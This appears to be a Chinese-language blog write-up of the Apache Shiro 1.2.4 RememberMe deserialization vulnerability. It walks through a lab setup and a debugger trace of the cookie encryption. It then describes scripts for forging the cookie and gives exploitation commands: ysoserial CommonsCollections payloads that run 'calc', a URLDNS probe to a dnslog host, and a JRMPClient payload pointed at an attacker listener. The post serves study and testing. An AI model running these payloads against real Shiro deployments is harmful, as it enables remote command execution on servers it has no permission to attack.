Shiro 1.2.4 反序列化漏洞
Shiro作为Java的一个安全框架,其中提供了登录时的RememberMe功能,让用户在浏览器关闭重新打开后依然能恢复之前的会话。而实现原理就是将储存用户身份的对象序列化并通过AES加密、base64编码储存在cookie中,只要能伪造cookie就能让服务器反序列化任意对象,而1.2.4版本及以下AES加密时采用的key是硬编码在代码中的,这就为伪造cookie提供了机会。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
Shiro
Apache Shiro 是 Java 的一个安全框架,可以帮助我们完成:认证、授权、加密、会话管理等。类似的还有Spring Security,相较之下Shiro更加简单易用且灵活,不跟任何的框架或者容器绑定,可以独立运行。
Shiro下载
git clone https://github.com/apache/shiro.git
然后可以进入其./samples/quickstart目录运行下Demo了解Shiro的使用
mvn compile exec:java
(失败的话尝试先配置下代理)
首先看一下配置文件quickstart/src/main/resources/shiro.ini
[users]中创建了几个用户并设置了其密码和角色
[roles]中创建了不同角色及并设置了其权限
然后查看我们运行的Demo代码
/quickstart/src/main/java/Quickstart.java
1 | public class Quickstart { |
Demo中对session和用户的登录,角色,权限进行了测试,对照运行的输出
动调环境搭建
下载Shiro并切换到漏洞版本
1 | git clone https://github.com/apache/shiro.git |
编辑shiro/samples/web/pom.xml文件
jstl是为了Demo正常运行,否则无法识别jsp标签
commons-collections4是配合shiro反序列化点组成一条完整的利用链
1 | <dependency> |
然后用idea导入shiro/samples/web项目,等待idea自动下载导入项目依赖的包
然后Run -> Edit Configurations 添加TomcatServer
设置Tomcat路径并添加Artifact
然后就可以调试运行了
漏洞分析
[SHIRO-550] Randomize default remember me cipher - ASF JIRA的描述已经比较清楚了
- 检索
RememberMe
cookie 的值 - Base 64解码
- 使用AES解密
- 使用Java序列化(
ObjectInputStream
)反序列化
在登录时勾选RememberMe
然后cookie中就会储存RememberMe
键值对
解密AES需要密钥还有mode(加解密算法)和 IV(初始化向量),而由官网得知RememberMe
在CookieRememberMeManager实现
idea中ctrl+n搜索该类名可以快速定位
org.apache.shiro.web.mgt.CookieRememberMeManager
该类继承自AbstractRememberMeManager
org.apache.shiro.mgt.AbstractRememberMeManager
很容易发现默认的Key是硬编码在其中的,这也是该反序列得以利用的关键,如果再确定mode和IV则可以构造RememberMe
的值,然后让其反序列化
序列化、加密过程
在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下断点,然后开始Debug
在登录界面勾选Remember Me并登录
登录成功即会在onSuccessfulLogin断点处停下
85行则对rememberMe的值进行判断,如果登录时勾选了则为true,然后进入
org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity
94行获取身份即 root,然后进入
org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity
103行将用户身份转换为byte[],跟入看一下
org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes
在这个函数里将用户身份进行了序列化和加密,最后返回的是密文byte[]
继续跟入序列化的处理流程的话
org.apache.shiro.io.DefaultSerializer#serialize
采用的是java原生的序列化方法writeObject,而最后序列化的数据也就是代表用户身份的SimplePrincipalCollection类的实例,该类实现的接口的父辈接口继承了Serializable接口
返回去接着看加密过程
org.apache.shiro.mgt.AbstractRememberMeManager#convertPrincipalsToBytes
org.apache.shiro.mgt.AbstractRememberMeManager#encrypt
154行得到一个用来加密的CipherService对象,跟入会发现返回的是当前类的private CipherService cipherService = new AesCipherService();
并且在AesCipherService父类完成CipherService对象的初始化,此时就确定了AES加密方式及mod
在当前Debug处就可以看到该对象的信息,比如mod,这里采用的是CBC
接着到了156行,cipherService.encrypt方法第一个参数是序列化后的字节数组,第二个参数即是加AES的key
这里的key是在AbstractRememberMeManager类的构造函数里完成初始化,其值就是硬编码的key
跟入cipherService.encrypt
org.apache.shiro.crypto.JcaCipherService#encrypt
在147行跟入的话会发现IV是随机生成的,接着在153行,传入this.encrypt的参数分别是序列化数据,AES的key,AES的IV和一个值为true的布尔值,跟入
org.apache.shiro.crypto.JcaCipherService#encrypt
在162行将16字节的IV放入了output,接着放入密文数据,最后返回Util.bytes(output)
后面一直return到
org.apache.shiro.mgt.AbstractRememberMeManager#encrypt
加密过程结束
然后回到
org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity
这里可知前文中
org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity103行将用户身份转换为byte[]
的byte[]即为随机16字节IV+AES密文
跟进this.rememberSerializedIdentity
org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity
其中将前文的随机16字节IV+AES密文
byte[]进行了base64编码,并且最后设置成键为rememberMe的Cookie
可以验证一下确实如此
解密、反序列化过程
在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity打下断点,然后从cookie中删除JSESSIONID只保留rememberMe刷新网页,或者发送只有rememberMe的请求
cookie等信息都在subjectContext对象中,跟入rmm.getRememberedPrincipals
org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals
跟入this.getRememberedSerializedIdentity
org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity
在其中提取了cookie并进行base64解码
回到getRememberedPrincipals并跟入this.convertBytesToPrincipals
org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals
在137行进行AES解密,跟入的话,其实就是提取前16位作为iv,然后前文的默认key来进行解密
140行则进行反序列化
org.apache.shiro.io.DefaultSerializer#deserialize
看到readObject便就结束了
cookie解密及伪造脚本
cookie解密
1 | #pip install pycrypto |
可以看到从第二行开始就是SimplePrincipalCollection对象的序列化数据
但脚本中并未使用真正的IV,而是一个错误值,其实在AES CBC解密中IV只会用于对第一个块进行解密,其他块的解密则是使用上一块的加密二进制作为IV进行解密操作,加密的时候,IV会影响所有数据的加密结果,而解密时,IV只会影响第一个加密块的解密结果
而cookie中的第一段是加密时所用的IV,所以在这里解错并无影响,下文构造cookie时也是由自己随意构造IV就可
cookie伪造
1 | #pip install pycrypto |
IV随机生成,序列化的payload用base64格式传入
生成payload(sed去除换行符)
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 "calc"|base64 |sed ':label;N;s/\n//;b label'
伪造cookie
漏洞利用
DNS gadget验证漏洞
在不知服务器含有哪些组件或者说不知道有哪些可用利用链时,可以ysoserial的URLDNS gadget进行漏洞验证,参数改成dns地址,测试能收到DNS请求。不过Java默认有TTL缓存,DNS解析会进行缓存,所以可能会出现第一次收到DNS的log,后面可能收不到的情况。URLDNS gadget不需要其他类的支持,它的Gadget Chain:
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
java -jar ysoserial-master-30099844c6-1.jar URLDNS "http://dx7yuq.dnslog.cn" |base64 |sed ':label;N;s/\n//;b label'
commons-collections4
由于前文搭建环境时已经添加了commons-collections4,所以利用ysoserial的CommonsCollections2即可
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 "calc"|base64 |sed ':label;N;s/\n//;b label'
其他方式
运行mvn dependency:list
可以查看所有依赖
其中就有commons-collections3.2.1
直接用ysoserial生成payload攻击会出错,原因是
Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。
What made the ysoserial payloads fail?
I set up a test environment based on Apache Shiro samples and triggered the ysoserial payloads. Investigating the resulting errors reveals that Shiro uses a buggy classloader that is unable to deserialize any arrays. Unfortunately, most ysoserial payloads do contain an array of some sort:
- ChainedTransformer - the chain of transformers inside this object is an array, thus we cannot use ChainedTransformer at all
- InvokerTransformer - the list of arguments given to the function is an array and will fail deserialiation. However, if we give no arguments, (de)serialization succeeds.
The remaining payloads in ysoserial depend on classes that were not present in our target system :/ So looks like we cannot give parameters to method calls nor chain method calls to one another. Is all hope of succesful exploitation lost?
解决这种问题的办法是使用JRMP
我本地测试也未成功,参考其他师傅文章
具体原因是打包成war的时候只会把compile和runtime的打包,而test的属于开发阶段需要使用的,从而不会打进去,而这里common-conllectons恰好属于test。所以生成环境中根本没有common-conllectons,因此是不可能打成功的。
第一次攻击commons-collections3.2.1失败的原因应该就是直接出在maven scope上,因为commons-collections3.2.1的scope是test,编译运行时根本不存在
那现在手动加入commons-collections3.2.1,就会覆盖其父配置,让scope不为test
1 | <dependency> |
继续尝试使用JRMP的方法攻击
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "x.x.x.x:12345"|base64 |sed ':label;N;s/\n//;b label'
服务器开启监听并发送payload
这次确实成功执行命令
那么再尝试直接用CommonsCollections5 gadget
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "calc" |base64 |sed ':label;N;s/\n//;b label'
失败,这次失败的原因才是如上文
参考
分析调试apache shiro反序列化漏洞(CVE-2016-4437)
【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞
[SHIRO-550] Randomize default remember me cipher - ASF JIRA
Pwn a CTF Platform with Java JRMP Gadget
Exploiting JVM deserialization vulns despite a broken class loader